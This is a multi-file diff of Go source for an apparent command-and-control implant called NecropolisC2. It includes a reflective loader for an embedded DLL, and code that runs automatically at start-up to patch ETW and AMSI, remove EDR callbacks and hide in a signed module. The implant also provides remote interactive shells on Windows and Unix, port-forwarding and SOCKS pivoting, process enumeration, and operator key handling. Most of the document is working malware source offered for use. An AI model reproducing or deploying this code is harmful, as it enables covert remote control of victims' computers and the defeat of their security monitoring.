ntdll, err := syscall.LoadLibrary("ntdll.dll")
if err != nil {
return false
}
defer syscall.FreeLibrary(ntdll)
_, err = syscall.GetProcAddress(ntdll, "wine_get_unix_file_name")
return err == nil
}
+8
View File
@@ -0,0 +1,8 @@
//go:build evasion && windows
package core
import _ "embed"
//go:embed valak.dll
var valakDLLBin []byte
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
+15
View File
@@ -0,0 +1,15 @@
//go:build !evasion
package core
import "time"
var (
procPatchETW uintptr = 0
procPatchAMSI uintptr = 0
procRemoveEDRCallbacks uintptr = 0
)
func init() {}
func EvasionSleep(d time.Duration) { time.Sleep(d) }
+397
View File
@@ -0,0 +1,397 @@
//go:build evasion && windows
// 1. Load the embedded valak.dll binary data.
// 2. If the data is empty, return false.
// 3. Validate DOS and NT PE headers.
// 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere.
// 6. Copy PE headers into allocated memory.
// 7. Copy each section from raw bytes to its virtual address.
// 8. Apply base relocations if the DLL didn't load at its preferred address.
// 9. Resolve imports (fill IAT — kernel32, ntdll, etc).
// 10. Find .text section bounds (needed by EvasionSleep).
// 11. Set memory protections on each section (.text=RX, .data=RW).
// 12. Resolve exports (find function addresses in the export table).
// 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup.
// 14. Call init_evasion() — scan ntdll for syscall gadgets.
// 15. Set dllLoaded=true and return.
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
// 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order.
package core
import (
"encoding/binary"
"log"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
valakBase uintptr
dllTextStart uintptr
dllTextSize uintptr
dllLoaded bool
procInit uintptr
procPatchETW uintptr
procPatchAMSI uintptr
procRemoveEDRCallbacks uintptr
procStompEvasion uintptr
procIsRelocated uintptr
)
const (
imageDosSignature = 0x5A4D
imageNTSignature = 0x00004550
imageDirEntryExport = 0
memCommit = 0x00001000
memReserve = 0x00002000
pageReadwrite = 0x04
pageExecuteRead = 0x20
pageExecReadwrite = 0x40
dllProcessAttach = 1
)
func loadValakDLLReflective() bool {
data := valakDLLBin // 1
if len(data) == 0 {
return false // 2
}
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3
if dosHeader.E_magic != imageDosSignature {
return false
}
ntOffset := dosHeader.E_lfanew
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
if ntHeader.Signature != imageNTSignature {
return false
}
imageBase := ntHeader.OptionalHeader.ImageBase
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4
// always allocate anywhere, always apply relocs. High x64 image bases
// (0x180000000+) can fail silently on VMs and EDR-protected systems.
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5
if err != nil {
return false
}
valakBase = base // ← end 5
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7
for i := range sections {
sec := &sections[i]
if sec.SizeOfRawData == 0 {
continue
}
dst := base + uintptr(sec.VirtualAddress)
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
continue
}
srcOff := uintptr(sec.PointerToRawData)
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
continue
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData))
} // ← end 7
delta := int64(base) - int64(imageBase) // → start 8
if delta != 0 {
applyRelocations(data, base, delta, ntHeader)
} // ← end 8
resolveImports(data, base, ntHeader) // 9
for i := range sections { // → start 10
if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' {
dllTextStart = base + uintptr(sections[i].VirtualAddress)
dllTextSize = uintptr(sections[i].VirtualSize)
break
}
} // ← end 10
for i := range sections { // → start 11
sec := &sections[i]
if sec.VirtualAddress == 0 {
continue
}
addr := base + uintptr(sec.VirtualAddress)
prot := sectionProtect(sec.Characteristics)
var old uint32
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
} // ← end 11
resolveExports(data, base, ntHeader) // 12
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
if entry != base { // → start 13
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
} // ← end 13
if procInit != 0 { // → start 14
syscall.SyscallN(procInit)
} // ← end 14
log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data))
dllLoaded = true // 15
return true
}
type imageDOSHeader struct {
E_magic uint16
_ [58]byte
E_lfanew uint32
}
type imageFileHeader struct {
_ [2]byte
NumberOfSections uint16
_ [12]byte
SizeOfOptionalHeader uint16
_ [2]byte
}
type imageDataDirectory struct {
VirtualAddress uint32
Size uint32
}
type imageOptionalHeader64 struct {
_ [16]byte
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
_ [16]byte
SizeOfImage uint32
SizeOfHeaders uint32
_ [48]byte
DataDirectory [16]imageDataDirectory
}
type imageNTHeaders64 struct {
Signature uint32
FileHeader imageFileHeader
OptionalHeader imageOptionalHeader64
}
type imageSectionHeader struct {
Name [8]byte
VirtualSize uint32
VirtualAddress uint32
SizeOfRawData uint32
PointerToRawData uint32
PointerToRelocations uint32
PointerToLinenumbers uint32
NumberOfRelocations uint16
NumberOfLinenumbers uint16
Characteristics uint32
}
type imageExportDirectory struct {
_ [12]byte
_ [4]byte
_ [4]byte
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
// Characteristics is at offset 36 in IMAGE_SECTION_HEADER.
// IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000
func sectionProtect(chars uint32) uint32 {
switch {
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
return pageExecReadwrite
case chars&0x20000000 != 0:
return pageExecuteRead
case chars&0x80000000 != 0:
return pageReadwrite
default:
return pageReadwrite
}
}
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
return
}
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
off := uintptr(0)
for off < uintptr(relocDir.Size) {
blockVA := binary.LittleEndian.Uint32(relocData[off:])
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
if blockSize == 0 {
break
}
entries := (blockSize - 8) / 2
for e := uint32(0); e < entries; e++ {
entryOff := off + 8 + uintptr(e*2)
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
relocType := entry >> 12
relocOff := entry & 0xFFF
if relocType == 0 {
continue
}
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
if relocType == 10 {
val := (*uint64)(addr)
*val = uint64(int64(*val) + delta)
}
}
off += uintptr(blockSize)
}
}
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport]
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
return
}
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
lookup := func(name string) uintptr {
for i := uint32(0); i < exp.NumberOfNames; i++ {
fnName := goString(base + uintptr(names[i]))
if fnName == name {
if uint32(ords[i]) < exp.NumberOfFunctions {
return base + uintptr(funcs[ords[i]])
}
}
}
return 0
}
procInit = lookup("init_evasion")
procPatchETW = lookup("patch_etw")
procPatchAMSI = lookup("patch_amsi")
procRemoveEDRCallbacks = lookup("remove_edr_callbacks")
procStompEvasion = lookup("stomp_evasion")
procIsRelocated = lookup("is_relocated")
}
type imageImportDescriptor struct {
OriginalFirstThunk uint32
_ uint32 // TimeDateStamp
_ uint32 // ForwarderChain
Name uint32
FirstThunk uint32
}
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
return
}
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
descSize := uintptr(unsafe.Sizeof(*desc))
for desc.Name != 0 {
dllName := goString(base + uintptr(desc.Name))
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
if hMod == 0 {
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
}
if hMod == 0 {
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
continue
}
thunkRVA := desc.OriginalFirstThunk
if thunkRVA == 0 {
thunkRVA = desc.FirstThunk
}
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
step := uintptr(8)
for *thunk != 0 {
var fnAddr uintptr
if *thunk&(1<<63) != 0 {
ordinal := uintptr(*thunk & 0xFFFF)
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
} else {
nameRVA := uint32(*thunk & 0x7FFFFFFF)
fnName := goString(base + uintptr(nameRVA) + 2)
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
}
*iat = uint64(fnAddr)
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
}
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
}
}
func goString(addr uintptr) string {
s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256)
for j := 0; j < len(s); j++ {
if s[j] == 0 {
return s[:j]
}
}
return s
}
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
func EvasionSleep(d time.Duration) {
if dllLoaded && dllTextStart != 0 {
var old uint32
windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable
time.Sleep(d) // sleep from Go binary, not DLL
windows.VirtualProtect(dllTextStart, dllTextSize, old, &old) // restore
return
}
time.Sleep(d) // fallback: plain sleep, no obfuscation
}
// 17. init() — called automatically by Go when package loads. Spawns goroutine that loads
// the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR.
func init() {
go func() { // → start 17
if loadValakDLLReflective() {
if procStompEvasion != 0 { // stomp first — hides module in signed DLL
syscall.SyscallN(procStompEvasion, valakBase)
if procIsRelocated != 0 {
r, _, _ := syscall.SyscallN(procIsRelocated)
if r != 0 {
log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase)
}
}
}
if procPatchETW != 0 {
syscall.SyscallN(procPatchETW)
log.Printf("[evasion] ETW patched")
}
if procPatchAMSI != 0 {
syscall.SyscallN(procPatchAMSI)
log.Printf("[evasion] AMSI patched")
}
if procRemoveEDRCallbacks != 0 {
syscall.SyscallN(procRemoveEDRCallbacks)
log.Printf("[evasion] EDR callbacks removed")
}
}
}() // ← end 17
}
// no package-level lazy procs, all resolved locally in resolveImports
+34
View File
@@ -0,0 +1,34 @@
package core
import (
"bufio"
"io"
"log"
"net"
"strings"
"time"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handlePortfwdStream(s network.Stream) {
defer s.Close()
br := bufio.NewReader(io.LimitReader(s, 1024))
target, err := br.ReadString('\n')
if err != nil {
log.Printf("[implant] portfwd read target: %v", err)
return
}
target = strings.TrimSpace(target)
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[implant] portfwd dial %s: %v", target, err)
return
}
defer conn.Close()
go io.Copy(conn, io.MultiReader(br, s))
io.Copy(s, conn)
}
+107
View File
@@ -0,0 +1,107 @@
package core
import (
"bytes"
"encoding/csv"
"os"
"os/exec"
"path/filepath"
"runtime"
"strconv"
"strings"
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
)
func listProcesses() []*cpb.Process {
switch runtime.GOOS {
case "linux":
return listProcessesLinux()
case "windows":
return listProcessesWindows()
default:
return listProcessesDummy()
}
}
func listProcessesWindows() []*cpb.Process {
cmd := exec.Command("tasklist", "/FO", "CSV", "/NH")
out, err := cmd.Output()
if err != nil {
return listProcessesDummy()
}
r := csv.NewReader(bytes.NewReader(out))
records, err := r.ReadAll()
if err != nil {
return listProcessesDummy()
}
var procs []*cpb.Process
for _, parts := range records {
if len(parts) < 2 {
continue
}
name := strings.Trim(parts[0], `"`)
pidStr := strings.Trim(parts[1], `"`)
pid, _ := strconv.Atoi(pidStr)
owner := ""
if len(parts) >= 7 {
owner = strings.Trim(parts[6], `"`)
}
procs = append(procs, &cpb.Process{Pid: int32(pid), Name: name, Owner: owner})
}
return procs
}
func listProcessesLinux() []*cpb.Process {
entries, err := os.ReadDir("/proc")
if err != nil {
return listProcessesDummy()
}
var procs []*cpb.Process
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil {
continue
}
p := &cpb.Process{Pid: int32(pid)}
stat, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "stat"))
if len(stat) == 0 {
continue
}
parenStart := bytes.IndexByte(stat, '(')
parenEnd := bytes.LastIndexByte(stat, ')')
if parenStart >= 0 && parenEnd > parenStart {
p.Name = string(stat[parenStart+1 : parenEnd])
}
status, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "status"))
if len(status) > 0 {
for _, line := range strings.Split(string(status), "\n") {
if strings.HasPrefix(line, "Name:") {
val := strings.TrimSpace(strings.TrimPrefix(line, "Name:"))
if p.Name == "" {
p.Name = val
}
} else if strings.HasPrefix(line, "Uid:") {
uidFields := strings.Fields(strings.TrimSpace(strings.TrimPrefix(line, "Uid:")))
if len(uidFields) > 0 {
p.Owner = uidFields[0]
}
}
}
}
procs = append(procs, p)
}
return procs
}
func listProcessesDummy() []*cpb.Process {
return nil
}
+39
View File
@@ -0,0 +1,39 @@
package core
import (
"os"
"os/exec"
"runtime"
"strings"
)
func shellPath() string {
switch runtime.GOOS {
case "windows":
return "cmd.exe"
default:
if sh, ok := os.LookupEnv("SHELL"); ok && sh != "" {
return sh
}
for _, candidate := range []string{"/bin/bash", "/bin/sh"} {
if _, err := os.Stat(candidate); err == nil {
return candidate
}
}
return "/bin/sh"
}
}
func shellCommand() *exec.Cmd {
cmd := exec.Command(shellPath())
env := os.Environ()
filtered := make([]string, 0, len(env)+1)
for _, e := range env {
if !strings.HasPrefix(e, "TERM=") {
filtered = append(filtered, e)
}
}
filtered = append(filtered, "TERM=xterm-256color")
cmd.Env = filtered
return cmd
}
+45
View File
@@ -0,0 +1,45 @@
//go:build !windows
package core
import (
"encoding/binary"
"io"
"log"
"github.com/creack/pty"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleShellStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
var winsize pty.Winsize
if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
log.Printf("[implant] read shell rows: %v", err)
return
}
if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
log.Printf("[implant] read shell cols: %v", err)
return
}
if winsize.Rows < 10 || winsize.Cols < 10 {
winsize.Rows = 30
winsize.Cols = 120
}
cmd := shellCommand()
f, err := pty.StartWithSize(cmd, &winsize)
if err != nil {
log.Printf("[implant] pty start: %v", err)
return
}
defer f.Close()
go io.Copy(f, s)
io.Copy(s, f)
cmd.Wait()
log.Printf("[implant] shell session ended for %s", remotePeer.String())
}
+204
View File
@@ -0,0 +1,204 @@
//go:build windows
package core
import (
"encoding/binary"
"io"
"log"
"time"
"unsafe"
"github.com/libp2p/go-libp2p/core/network"
"golang.org/x/sys/windows"
)
var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procCreatePseudoConsole = modKernel32.NewProc("CreatePseudoConsole")
procClosePseudoConsole = modKernel32.NewProc("ClosePseudoConsole")
procInitializeProcThreadAttributeList = modKernel32.NewProc("InitializeProcThreadAttributeList")
procUpdateProcThreadAttribute = modKernel32.NewProc("UpdateProcThreadAttribute")
)
type coord struct {
X, Y int16
}
func (c coord) pack() uintptr {
return uintptr((int32(c.Y) << 16) | int32(c.X))
}
type pipeHandle struct {
h windows.Handle
}
func (p *pipeHandle) Read(b []byte) (int, error) {
var n uint32
err := windows.ReadFile(p.h, b, &n, nil)
return int(n), err
}
func (p *pipeHandle) Write(b []byte) (int, error) {
var n uint32
err := windows.WriteFile(p.h, b, &n, nil)
return int(n), err
}
func (p *pipeHandle) Close() error {
return windows.CloseHandle(p.h)
}
func (a *Agent) handleShellStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
var rows, cols uint16
if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
log.Printf("[implant] read shell rows: %v", err)
return
}
if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
log.Printf("[implant] read shell cols: %v", err)
return
}
if rows < 10 || cols < 80 {
rows = 30
cols = 120
}
co := coord{X: int16(cols), Y: int16(rows)}
log.Printf("[implant] shell using rows=%d cols=%d", rows, cols)
if err := procCreatePseudoConsole.Find(); err != nil {
log.Printf("[implant] ConPTY not available: %v", err)
return
}
var hPtyIn, hCmdIn windows.Handle
var hCmdOut, hPtyOut windows.Handle
if err := windows.CreatePipe(&hPtyIn, &hCmdIn, nil, 0); err != nil {
log.Printf("[implant] pipe in: %v", err)
return
}
if err := windows.CreatePipe(&hCmdOut, &hPtyOut, nil, 0); err != nil {
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
log.Printf("[implant] pipe out: %v", err)
return
}
var hPC windows.Handle
ret, _, _ := procCreatePseudoConsole.Call(
co.pack(),
uintptr(hPtyIn),
uintptr(hPtyOut),
0,
uintptr(unsafe.Pointer(&hPC)),
)
if ret != 0 {
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
log.Printf("[implant] create pty failed: ret=0x%x", ret)
return
}
log.Printf("[implant] ConPTY created, hPC=0x%x", uintptr(hPC))
var sz uintptr
procInitializeProcThreadAttributeList.Call(0, 1, 0, uintptr(unsafe.Pointer(&sz)))
attrList := make([]byte, sz)
ret, _, _ = procInitializeProcThreadAttributeList.Call(
uintptr(unsafe.Pointer(&attrList[0])),
1, 0,
uintptr(unsafe.Pointer(&sz)),
)
if ret == 0 {
log.Printf("[implant] init attr list failed")
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
ret, _, _ = procUpdateProcThreadAttribute.Call(
uintptr(unsafe.Pointer(&attrList[0])),
0,
0x00020016,
uintptr(hPC),
unsafe.Sizeof(hPC),
0, 0,
)
if ret == 0 {
log.Printf("[implant] update attr failed")
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
cmdW, err := windows.UTF16PtrFromString("cmd.exe")
if err != nil {
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
si := windows.StartupInfoEx{}
si.StartupInfo.Cb = uint32(unsafe.Sizeof(windows.StartupInfoEx{}))
si.ProcThreadAttributeList = (*windows.ProcThreadAttributeList)(unsafe.Pointer(&attrList[0]))
pi := new(windows.ProcessInformation)
err = windows.CreateProcess(
nil, cmdW,
nil, nil,
false,
windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_UNICODE_ENVIRONMENT,
nil, nil,
(*windows.StartupInfo)(unsafe.Pointer(&si)),
pi,
)
if err != nil {
log.Printf("[implant] create process: %v", err)
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
windows.CloseHandle(pi.Thread)
log.Printf("[implant] shell started via ConPTY for %s", remotePeer.String())
inPipe := &pipeHandle{h: hCmdIn}
outPipe := &pipeHandle{h: hCmdOut}
done := make(chan struct{}, 2)
go func() {
io.Copy(inPipe, s)
inPipe.Close()
time.AfterFunc(2*time.Second, func() {
if pi.Process != 0 {
windows.TerminateProcess(pi.Process, 1)
}
})
done <- struct{}{}
}()
go func() {
io.Copy(s, outPipe)
outPipe.Close()
done <- struct{}{}
}()
<-done
<-done
procClosePseudoConsole.Call(uintptr(hPC))
s.Close()
windows.CloseHandle(hPtyIn)
windows.CloseHandle(hPtyOut)
windows.WaitForSingleObject(pi.Process, windows.INFINITE)
windows.CloseHandle(pi.Process)
log.Printf("[implant] shell ended for %s", remotePeer.String())
}
+34
View File
@@ -0,0 +1,34 @@
package core
import (
"bufio"
"io"
"log"
"net"
"strings"
"time"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleSocksStream(s network.Stream) {
defer s.Close()
br := bufio.NewReader(io.LimitReader(s, 1024))
target, err := br.ReadString('\n')
if err != nil {
log.Printf("[implant] socks read target: %v", err)
return
}
target = strings.TrimSpace(target)
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[implant] socks dial %s: %v", target, err)
return
}
defer conn.Close()
go io.Copy(conn, io.MultiReader(br, s))
io.Copy(s, conn)
}
Binary file not shown.
+79
View File
@@ -0,0 +1,79 @@
package main
import (
"context"
"flag"
"fmt"
"log"
"os"
"os/signal"
"syscall"
"github.com/Yenn503/NecropolisC2/implant/core"
)
func main() {
defer func() {
if r := recover(); r != nil {
log.Printf("[implant] FATAL PANIC: %v", r)
}
log.Printf("[implant] exited")
}()
peerAddr := flag.String("peer", "", "operator multiaddress (e.g. /ip4/1.2.3.4/tcp/35543/p2p/12D3...)")
wssAddr := flag.String("wss", "", "operator WSS multiaddress (e.g. /dns4/necropolis.example.com/tcp/443/wss/p2p/12D3...)")
var relayAddrs multiFlag
flag.Var(&relayAddrs, "relay", "relay multiaddress (optional, auto-discovers via DHT by default)")
flag.Parse()
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
core.DetectVM()
cfg := core.DefaultAgentConfig()
if *peerAddr != "" {
cfg.OperatorAddr = *peerAddr
}
if *wssAddr != "" {
cfg.WSSAddr = *wssAddr
}
cfg.RelayAddrs = relayAddrs
agent, err := core.NewAgent(ctx, cfg)
if err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
defer agent.Close()
if err := agent.Start(); err != nil {
fmt.Fprintf(os.Stderr, "error: %v\n", err)
os.Exit(1)
}
log.Printf("[implant] running (Ctrl+C to stop)")
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
select {
case <-sigCh:
log.Printf("[implant] received signal, shutting down")
case <-ctx.Done():
log.Printf("[implant] context cancelled, shutting down")
}
}
type multiFlag []string
func (m *multiFlag) String() string {
if len(*m) == 0 {
return ""
}
return (*m)[0]
}
func (m *multiFlag) Set(s string) error {
*m = append(*m, s)
return nil
}
+264
View File
@@ -0,0 +1,264 @@
// Cryptographic key types, generation, loading, and box encryption helpers. Uses Ed25519
// for signing and NaCl box (Curve25519) for payload encryption.
package cryptography
import (
"crypto/rand"
"fmt"
"os"
"path/filepath"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"golang.org/x/crypto/curve25519"
"golang.org/x/crypto/nacl/box"
)
// KeyPair holds an Ed25519 private/public keypair used for libp2p identity and signing.
type KeyPair struct {
PrivateKey crypto.PrivKey
PublicKey crypto.PubKey
}
// BoxKeyPair holds a NaCl box (Curve25519) keypair for anonymous sealed-box encryption.
type BoxKeyPair struct {
PrivateKey *[32]byte
PublicKey *[32]byte
}
// OperatorKey bundles the Ed25519 identity, NaCl box keys for message decryption,
// and a 32-byte auth token shared with implants at build time.
type OperatorKey struct {
KeyPair
PeerID peer.ID
BoxKeys *BoxKeyPair
AuthToken []byte
}
// ImplantKey bundles the Ed25519 identity and stores the operator's public key for
// verifying incoming command signatures.
type ImplantKey struct {
KeyPair
PeerID peer.ID
OperatorPubKey crypto.PubKey
}
// GenerateBoxKey creates a fresh NaCl box keypair for anonymous sealed-box encryption.
func GenerateBoxKey() (*BoxKeyPair, error) {
pub, priv, err := box.GenerateKey(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
}
// LoadBoxKey derives a box keypair from a 32-byte private key seed.
func LoadBoxKey(data []byte) *BoxKeyPair {
var priv [32]byte
copy(priv[:], data)
pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
if err != nil {
return nil
}
var pubArr [32]byte
copy(pubArr[:], pub)
return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
}
// Marshal returns the box private key as 32 raw bytes.
func (kp *BoxKeyPair) Marshal() []byte {
return kp.PrivateKey[:]
}
// GenerateOperatorKey creates a new Ed25519 identity, box keypair, and 32-byte auth token.
func GenerateOperatorKey() (*OperatorKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate operator key: %w", err)
}
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err)
}
boxKeys, err := GenerateBoxKey()
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
token := make([]byte, 32)
if _, err := rand.Read(token); err != nil {
return nil, fmt.Errorf("generate auth token: %w", err)
}
return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
BoxKeys: boxKeys,
AuthToken: token,
}, nil
}
// GenerateImplantKey creates a fresh Ed25519 keypair and stores a reference to the
// operator's public key for signature verification.
func GenerateImplantKey(operatorPub crypto.PubKey) (*ImplantKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate implant key: %w", err)
}
pid, err := peer.IDFromPublicKey(pub)
if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err)
}
return &ImplantKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid,
OperatorPubKey: operatorPub,
}, nil
}
// LoadPrivateKey deserializes an Ed25519 private key from protobuf wire format.
func LoadPrivateKey(data []byte) (crypto.PrivKey, error) {
return crypto.UnmarshalPrivateKey(data)
}
// MarshalPrivateKey serializes a private key to protobuf wire format.
func MarshalPrivateKey(priv crypto.PrivKey) ([]byte, error) {
return crypto.MarshalPrivateKey(priv)
}
// PubKeyFromBytes deserializes a public key from protobuf wire format.
func PubKeyFromBytes(data []byte) (crypto.PubKey, error) {
return crypto.UnmarshalPublicKey(data)
}
// Verify checks an Ed25519 signature against the given public key and data.
func Verify(pub crypto.PubKey, data []byte, sig []byte) (bool, error) {
return pub.Verify(data, sig)
}
// BoxKeyPath returns the path to the operator's box private key file.
func BoxKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxkey")
}
// BoxPubKeyPath returns the path to the operator's box public key file.
func BoxPubKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxpub")
}
// AuthTokenPath returns the path to the operator's auth token file.
func AuthTokenPath(dir string) string {
return filepath.Join(dir, "operator.authtoken")
}
// LoadOrGenerateOperatorKey tries to load an existing key pair from disk; if not found,
// generates a new one and persists it alongside the box keypair and auth token.
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
dir := filepath.Dir(path)
